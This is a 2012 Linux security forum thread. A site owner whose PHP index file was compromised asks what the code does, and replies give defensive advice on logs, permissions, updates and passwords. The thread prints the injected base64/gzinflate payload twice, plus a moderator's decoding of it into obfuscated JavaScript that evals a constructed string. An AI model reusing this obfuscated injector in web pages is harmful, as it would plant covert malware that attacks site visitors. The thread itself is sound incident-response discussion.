LinuxQuestions.org
Download your favorite Linux distribution at LQ ISO.
Home Forums Tutorials Articles Register
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Security
User Name
Password
Linux - Security This forum is for all security related questions.
Questions, tips, system compromises, firewalls, etc. are all included here.

Notices


Reply
  Search this Thread
Old 07-29-2012, 07:55 AM   #1
yakotey
LQ Newbie
 
Registered: Jun 2005
Posts: 22

Rep: Reputation: 0
Web page hacked


Hi all,

This malware has been added to my index file:
Can somebody tell me:
1. What it does
2. How can i know how the attack occured?

Thanks.

Code:
#c3284d#
echo(gzinflate(base64_decode("tVW5jtswEP0XVVIMyxweEglbabZOlXKxheHYkbCOZchCkI2Rfw9neEkbLbIp0oxpcvjmvTmo3e0wdNfx4zi83C/r5vh9f86za7bKhn7sx5frMSu2vw778dDmP38civuRXLaXJgOoyxIYK0sD2q6gxqUJBpiUaBVtGHRAX67Rl3Hy4BVa9FZaERg6o5FoRGWvCXIFhsEEHeNfba2uBS5lQlWJDO4aDf6+kgGJ0MHi2fsGIm30BAaRPFRIAmQU46hCClsRmIWtSHLNI8AiliBDrlLNM2BeMRAKMDbSFjBVvahPVnQkVIgETBuygaD3YDoI994E90aZXMJMkGv0JAhEvZS7gBCpK6c6dsdrva7ilFyACQcO80R6jyox4zNmkllghRQUCL8iwS7Af+CSchow0LlKRVMzMrSaNAWx/ueaytCq1L/U6RSRVoLuiCoVn+i7THFLXyIRyZEI56+7w91LTUv19MmQjp3wEH5YIO66PnHxFLUMk/NeYzKuiea7lfsqsQW5ZuFOLcJcLyaYhf7xk0zkqeyukhMdFF1rHrNCRzw2gKknk8TnCORb1TGtTp7rIBYegDdEL8w6V3/uQXo+UshQkzpmL02xn9L0ai3l9O+P8WyIsvJ2PXdjnpWl/TS0Dd/emizbnvoh7xq27dZcy539bWDVFffnprPnt9XnceguXx+z09B/e2j3w0P/5Zg95ZfH56dN3q3bD5/2Y1uezj3CbNpiZQr73elOOQPVNA2I4pjf7M5u479XvwE=")));
#/c3284d#

Last edited by colucix; 08-01-2012 at 05:47 PM.
 
Old 07-29-2012, 08:49 AM   #2
unSpawn
Moderator
 
Registered: May 2001
Posts: 29,415
Blog Entries: 55

Rep: Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600
Quote:
Originally Posted by yakotey View Post
What it does
eval(gzinflate(base64_decode("snipped""))); returns
Code:
<script>try{n-=eval("p"+"rototype");}catch(zxc){e=eval;n="117..100.. (..) 117..100".split("..");h=2;s="";for
(i=0;i-284<0;i=1+i){k=i;s=s+String["fromCharCode"](n[k]/(i-h*Math.floor(i/h)+9));}if(015===13)e(s);}</script>
Most often it's purpose is spreading spam or malware.


Quote:
Originally Posted by yakotey View Post
How can i know how the attack occured?
You're likely using a vulnerable version of PHP-based software package. It was not updated when it should have been. Start by finding out whatever version shopping cart, forum, content management system, any plugins or other PHP-based software package you run. Check your system and web server logs for anomalies. Check the vendors site for updates. Some list cleanup procedures in their documentation section like http://codex.wordpress.org/FAQ_My_site_was_hacked or http://docs.moodle.org/23/en/Securit...hat_do_I_do.3F. Let us know if you can't find any for your product and version.
 
Old 08-01-2012, 05:48 PM   #3
colucix
LQ Guru
 
Registered: Sep 2003
Location: Bologna
Distribution: CentOS 6.5 OpenSuSE 12.3
Posts: 10,509

Rep: Reputation: 1983Reputation: 1983Reputation: 1983Reputation: 1983Reputation: 1983Reputation: 1983Reputation: 1983Reputation: 1983Reputation: 1983Reputation: 1983Reputation: 1983
Moved: This thread is more suitable in Linux - Security and has been moved accordingly to help your thread/question get the exposure it deserves.
 
Old 08-04-2012, 01:31 PM   #4
sundialsvcs
LQ Guru
 
Registered: Feb 2004
Location: SE Tennessee, USA
Distribution: Gentoo, LFS
Posts: 10,668
Blog Entries: 4

Rep: Reputation: 3945Reputation: 3945Reputation: 3945Reputation: 3945Reputation: 3945Reputation: 3945Reputation: 3945Reputation: 3945Reputation: 3945Reputation: 3945Reputation: 3945
In my experience, the most common cause, on a shared-hosting computer system ... is another system user, and a lazy hosting company. I have encountered sites where every file was owned by a ftpusers group and was writable to that group! Therefore, if you merely had a login account, you could diddle with anyone else's files.

Once you install the files on the system, use chmod -r to make them read-only. (Slightly different permissions may be needed for directories.) In order to subsequently change the files yourself, you will need to reassign those permissions.

If you are using "convenient" system management software such as Plesk, then I'm afraid that you will need to learn enough about system management to enable yourself to discard packages like that. (And please note that the preceding sentence is a statement of matter-of-fact, i.e. nothing whatsoever personal and no offense intended.) Convenience has its price and it is an unacceptable price.

Last edited by sundialsvcs; 08-04-2012 at 01:33 PM.
 
1 members found this post helpful.
Old 08-04-2012, 04:03 PM   #5
deadeyes
Member
 
Registered: Aug 2006
Posts: 609

Rep: Reputation: 79
Quote:
Originally Posted by yakotey View Post
Hi all,

This malware has been added to my index file:
Can somebody tell me:
1. What it does
2. How can i know how the attack occured?

Thanks.

Code:
#c3284d#
echo(gzinflate(base64_decode("tVW5jtswEP0XVVIMyxweEglbabZOlXKxheHYkbCOZchCkI2Rfw9neEkbLbIp0oxpcvjmvTmo3e0wdNfx4zi83C/r5vh9f86za7bKhn7sx5frMSu2vw778dDmP38civuRXLaXJgOoyxIYK0sD2q6gxqUJBpiUaBVtGHRAX67Rl3Hy4BVa9FZaERg6o5FoRGWvCXIFhsEEHeNfba2uBS5lQlWJDO4aDf6+kgGJ0MHi2fsGIm30BAaRPFRIAmQU46hCClsRmIWtSHLNI8AiliBDrlLNM2BeMRAKMDbSFjBVvahPVnQkVIgETBuygaD3YDoI994E90aZXMJMkGv0JAhEvZS7gBCpK6c6dsdrva7ilFyACQcO80R6jyox4zNmkllghRQUCL8iwS7Af+CSchow0LlKRVMzMrSaNAWx/ueaytCq1L/U6RSRVoLuiCoVn+i7THFLXyIRyZEI56+7w91LTUv19MmQjp3wEH5YIO66PnHxFLUMk/NeYzKuiea7lfsqsQW5ZuFOLcJcLyaYhf7xk0zkqeyukhMdFF1rHrNCRzw2gKknk8TnCORb1TGtTp7rIBYegDdEL8w6V3/uQXo+UshQkzpmL02xn9L0ai3l9O+P8WyIsvJ2PXdjnpWl/TS0Dd/emizbnvoh7xq27dZcy539bWDVFffnprPnt9XnceguXx+z09B/e2j3w0P/5Zg95ZfH56dN3q3bD5/2Y1uezj3CbNpiZQr73elOOQPVNA2I4pjf7M5u479XvwE=")));
#/c3284d#
Mostly the apache logfiles are important. If you have all requests you might see some strange requests in the log.

However like other repliers said, it can be bad file permissions, incorrectly configured software, ...

What application is actually running on the webserver?
Can you see from which time this file has been modified?
This will seriously help in finding the attack method through the log files.
 
Old 08-04-2012, 05:11 PM   #6
Habitual
LQ Veteran
 
Registered: Jan 2011
Location: Abingdon, VA
Distribution: Catalina
Posts: 9,374
Blog Entries: 37

Rep: Reputation: Disabled
Doesn't look good. I saw "moodle""drupal", and the usual "Wordpress" here and there at http://www.google.com/search?q=echo%...8base64_decode

Are you the owner of the host/account?
Is it a shared hosting arrangement?
Did you change YOUR password in whatever *Panel you may have (cPanel perhaps?).
What kind of CMS got hacked, name of the package please. 3rd party plugins, I'll bet.

Please supply answers to these important questions and Change your account/ftp password if you have cPanel.

http://25yearsofprogramming.com/blog/2008/20080228.htm

Edit: You may never know how this happened, but you can make certain it doesn't happen again.

Last edited by Habitual; 08-04-2012 at 05:13 PM.
 
Old 08-14-2012, 10:33 PM   #7
guyonearth
Member
 
Registered: Jun 2012
Location: USA
Distribution: Ubuntu
Posts: 424

Rep: Reputation: 83
That looks like encoded javascript, which usually means it's redirecting to a blackhole or some kind of exploit, or building a remote call.
 
  


Reply



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
executing linux commands from web page and outputing it back to the web page ashes_sheldon Programming 9 02-28-2015 12:07 AM
is kompozer web based, or can I create a web page/s on my home device? Fred Caro Linux - Software 2 02-07-2011 07:23 AM
On the web browser and File>Save As>Web Page, HTML only. stf92 Linux - Newbie 4 12-18-2010 04:21 AM
web page database access per page or per session? b0uncer Programming 6 01-13-2007 12:09 PM
Cant make web server run my local web page... Nik0s Linux - Newbie 22 10-08-2006 10:30 PM

LinuxQuestions.org > Forums > Linux Forums > Linux - Security

All times are GMT -5. The time now is 12:32 AM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Open Source Consulting | Domain Registration